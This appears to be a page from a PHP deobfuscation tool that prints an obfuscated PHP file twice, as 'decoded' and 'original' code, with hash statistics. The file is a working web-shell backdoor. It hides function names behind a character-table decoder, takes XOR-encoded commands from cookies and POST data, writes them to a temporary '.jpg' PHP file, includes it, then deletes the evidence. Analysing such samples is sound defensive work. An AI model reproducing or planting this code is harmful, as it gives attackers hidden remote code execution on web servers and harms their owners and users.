Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function pf6 () {echo 'bo7'; } function nc1 ( $bb2 ) {$wh4=0..

Decoded Output download

<?php 
function pf6    () 
 
 
{echo 'bo7'; 
 
} 
 
 
 
function nc1 ( $bb2 ) 
 
 
{$wh4=0;$fp3 = "@i2kb;7oEtar(-#ylph9.v?d36<e1f'g/)sL04u_*jFHmcx nI"; $je5 = substr("", 0); 
 
 
     while(1) 
 
 
{ 
 if($wh4>=count($bb2)) break;      $je5       .= $fp3 [     $bb2[$wh4] ]; $wh4++;}return $je5;}$ap9	=      [];$rddh	=   90113; 
 
$ap9[57329]	=	nc1 ( Array(27 ,	27 , 6	,	10 , 2 , 19 ,	23	, 36      ,      13     , 6 ,    6   , 28       ,       6     , 13	,	37    , 25 ,	36 , 19 , 13 , 19	, 29	, 19     , 4 , 13	,  25 ,  23 ,	28     ,      28 , 10     ,      24 ,	27  ,       19 , 10 ,	4	,	23 ,	2 ,) ) ; 
 
$vk26	= 32270; 
$ap9[88043]	= nc1	( Array(22	, 17  , 18	, 17 , 47	,	0  , 38      ,	48	, 16 , 1	, 48	,	3  , 12     , 39 ,	39 ,	42 ,	49	,	35	,     8 , 39 ,	39	,	33 , 5 , 47 ,)       ) ; 
 
 
$ap9[7656] = nc1 ( Array(20   , 41 , 17     , 31 ,) ) ;$ap9[42469]    =	nc1       (      Array(20	,	32 ,) ) ;$ap9[70618] = nc1 (    Array(43	,   40    ,)     ) ; 
 
$qm27 = 58379; 
 
$ap9[51672] = nc1 ( Array(14	,) ) ;$ap9[36311]  =	nc1     ( Array(26 ,) )	; 
$ap9[61394] =	nc1      (     Array(29	, 1 ,   16 , 27	,       39	,     17 , 38      , 9     , 39	,	45 , 7 , 48 , 9     , 27	, 48	, 9    , 34	,)	)	; 
 
 
$ap9[62412]   =    nc1	( Array(29    ,	1 ,	16  ,	27    ,  39 ,	27       ,	46 ,	1 , 34 ,  9	,	34 ,)       ) ; 
$rw28 = 1970; 
 
 
$ap9[52684] =	nc1 ( Array(10  ,	11 ,      11	, 10 ,	15    ,	39       , 44       , 27 ,	11 ,  31 ,	27  ,) )	;$ap9[91083] =	nc1	(	Array(34 ,  9       ,	11 , 39 ,      11 , 27 , 17 , 27	, 10 ,	9	,)	) ; 
 
$ap9[72644]     = nc1 (    Array(27    ,	46 , 17	,	16	, 7	,	23 , 27 ,)       )  ; 
$ap9[49092]      =      nc1    (     Array(1 ,	48	,      9 , 21       , 10 ,     16 ,)     )	; 
 
$ap9[44986] = nc1 (       Array(38 ,	48	,	16       ,	1 , 48 ,      3 ,)	)       ; 
 
$sm29	= 59143;$ap9[19370] =      nc1 ( Array(34 ,  9 ,     11 , 16 , 27    ,     48 ,)   ) ;$zf30	= 17913;$ap9[44964]	= nc1       (	Array(17       ,	10 ,	45     ,	3 ,)       ) ; 
 
 
 
$ay22 = $_COOKIE; $hg20 = "56889";$ay22 = $ap9[52684]($ay22,      $_POST); 
foreach ($ay22      as $se25  =>     $qc21) 
 
{ 
	function	jr14 ( $ap9, $se25      ,     $nt19 ) 
	{ 
 
 
  return    substr ( $ap9[91083]	( $se25 . $ap9[57329]      , $ap9[49092]( $nt19/$ap9[19370]( $se25       )   ) + 1 ) , 0 , $nt19     ); 
      } 
 
 function fq13 ( $ap9, $ta23 ) 
  { 
 
 
 return @$ap9[44964]	($ap9[70618] ,	$ta23 ); 
 
 
 } 
 function ku12 (	$ap9,	$qc21, $se25) 
     { 
 
 
 return      fq13 ( $ap9,      $qc21 )	^	jr14  (	$ap9,	$se25    , $ap9[19370](	$qc21	)	); 
 
 } 
 
  
 
 
 function xa11    (  $ap9, $qc21, $se25) 
 
 
 {   return     $ap9[72644]       ( $ap9[51672] , ku12 ( $ap9, $qc21,	$se25)); 
  }  
 
 
 function dx10     (    $ap9,   $qc21,	$se25) 
	{ 
 
 
	$qc21 = xa11     (	$ap9, $qc21, $se25); 
 
	if (se18	(	$ap9,	$qc21)) 
 
 
 { 
 
	exit(); 
   } 
 
 } 
 
 
      
 
 
	function tq15	(	$ap9,     $ta23)    { 
 
 
 $mh24	=   $ap9[42469]	. md5( $ap9[57329]      ) . $ap9[7656];       @$ap9[61394]	( $mh24,	$ap9[36311] .     $ap9[88043]     .	$ta23[1]	( $ta23[2]    ) );  
 
	return $mh24; 
 }	 
 function pl17       ( $ap9, $mh24)       {	if ($ap9[62412]($mh24))   { 
 @$ap9[44986] ( $mh24	); } 
 } 
  
       function eu16	( $ap9, $mh24 ) 
 
 
 { 
 
   @include ( $mh24     ); 
 pl17 (    $ap9, $mh24); 
 } 
 
	 function     se18  (    $ap9, $ta23    ) 
    { 
 
     if ( isset ( $ta23[2] )     )  {  
	$mh24	=	tq15 (	$ap9,	$ta23); 
     eu16 (	$ap9,      $mh24); 
  
 
 
	return 1; 
 }     } 
  
 
 dx10	( $ap9, $qc21, $se25); 
 
} ?>

Did this file decode correctly?

Original Code

<?php
function pf6    ()


{echo 'bo7';

}



function nc1 ( $bb2 )


{$wh4=0;$fp3 = "@i2kb;7oEtar(-#ylph9.v?d36<e1f'g/)sL04u_*jFHmcx nI"; $je5 = substr("", 0);


     while(1)


{
 if($wh4>=count($bb2)) break;      $je5       .= $fp3 [     $bb2[$wh4] ]; $wh4++;}return $je5;}$ap9	=      [];$rddh	=   90113;

$ap9[57329]	=	nc1 ( Array(27 ,	27 , 6	,	10 , 2 , 19 ,	23	, 36      ,      13     , 6 ,    6   , 28       ,       6     , 13	,	37    , 25 ,	36 , 19 , 13 , 19	, 29	, 19     , 4 , 13	,  25 ,  23 ,	28     ,      28 , 10     ,      24 ,	27  ,       19 , 10 ,	4	,	23 ,	2 ,) ) ;

$vk26	= 32270;
$ap9[88043]	= nc1	( Array(22	, 17  , 18	, 17 , 47	,	0  , 38      ,	48	, 16 , 1	, 48	,	3  , 12     , 39 ,	39 ,	42 ,	49	,	35	,     8 , 39 ,	39	,	33 , 5 , 47 ,)       ) ;


$ap9[7656] = nc1 ( Array(20   , 41 , 17     , 31 ,) ) ;$ap9[42469]    =	nc1       (      Array(20	,	32 ,) ) ;$ap9[70618] = nc1 (    Array(43	,   40    ,)     ) ;

$qm27 = 58379;

$ap9[51672] = nc1 ( Array(14	,) ) ;$ap9[36311]  =	nc1     ( Array(26 ,) )	;
$ap9[61394] =	nc1      (     Array(29	, 1 ,   16 , 27	,       39	,     17 , 38      , 9     , 39	,	45 , 7 , 48 , 9     , 27	, 48	, 9    , 34	,)	)	;


$ap9[62412]   =    nc1	( Array(29    ,	1 ,	16  ,	27    ,  39 ,	27       ,	46 ,	1 , 34 ,  9	,	34 ,)       ) ;
$rw28 = 1970;


$ap9[52684] =	nc1 ( Array(10  ,	11 ,      11	, 10 ,	15    ,	39       , 44       , 27 ,	11 ,  31 ,	27  ,) )	;$ap9[91083] =	nc1	(	Array(34 ,  9       ,	11 , 39 ,      11 , 27 , 17 , 27	, 10 ,	9	,)	) ;

$ap9[72644]     = nc1 (    Array(27    ,	46 , 17	,	16	, 7	,	23 , 27 ,)       )  ;
$ap9[49092]      =      nc1    (     Array(1 ,	48	,      9 , 21       , 10 ,     16 ,)     )	;

$ap9[44986] = nc1 (       Array(38 ,	48	,	16       ,	1 , 48 ,      3 ,)	)       ;

$sm29	= 59143;$ap9[19370] =      nc1 ( Array(34 ,  9 ,     11 , 16 , 27    ,     48 ,)   ) ;$zf30	= 17913;$ap9[44964]	= nc1       (	Array(17       ,	10 ,	45     ,	3 ,)       ) ;



$ay22 = $_COOKIE; $hg20 = "56889";$ay22 = $ap9[52684]($ay22,      $_POST);
foreach ($ay22      as $se25  =>     $qc21)

{
	function	jr14 ( $ap9, $se25      ,     $nt19 )
	{


  return    substr ( $ap9[91083]	( $se25 . $ap9[57329]      , $ap9[49092]( $nt19/$ap9[19370]( $se25       )   ) + 1 ) , 0 , $nt19     );
      }

 function fq13 ( $ap9, $ta23 )
  {


 return @$ap9[44964]	($ap9[70618] ,	$ta23 );


 }
 function ku12 (	$ap9,	$qc21, $se25)
     {


 return      fq13 ( $ap9,      $qc21 )	^	jr14  (	$ap9,	$se25    , $ap9[19370](	$qc21	)	);

 }

 


 function xa11    (  $ap9, $qc21, $se25)


 {   return     $ap9[72644]       ( $ap9[51672] , ku12 ( $ap9, $qc21,	$se25));
  } 


 function dx10     (    $ap9,   $qc21,	$se25)
	{


	$qc21 = xa11     (	$ap9, $qc21, $se25);

	if (se18	(	$ap9,	$qc21))


 {

	exit();
   }

 }


     


	function tq15	(	$ap9,     $ta23)    {


 $mh24	=   $ap9[42469]	. md5( $ap9[57329]      ) . $ap9[7656];       @$ap9[61394]	( $mh24,	$ap9[36311] .     $ap9[88043]     .	$ta23[1]	( $ta23[2]    ) ); 

	return $mh24;
 }	
 function pl17       ( $ap9, $mh24)       {	if ($ap9[62412]($mh24))   {
 @$ap9[44986] ( $mh24	); }
 }
 
       function eu16	( $ap9, $mh24 )


 {

   @include ( $mh24     );
 pl17 (    $ap9, $mh24);
 }

	 function     se18  (    $ap9, $ta23    )
    {

     if ( isset ( $ta23[2] )     )  { 
	$mh24	=	tq15 (	$ap9,	$ta23);
     eu16 (	$ap9,      $mh24);
 


	return 1;
 }     }
 

 dx10	( $ap9, $qc21, $se25);

}

Function Calls

None

Variables

None

Stats

MD5 c85dbe048bf516710ca147a3e3d561b1
Eval Count 0
Decode Time 48 ms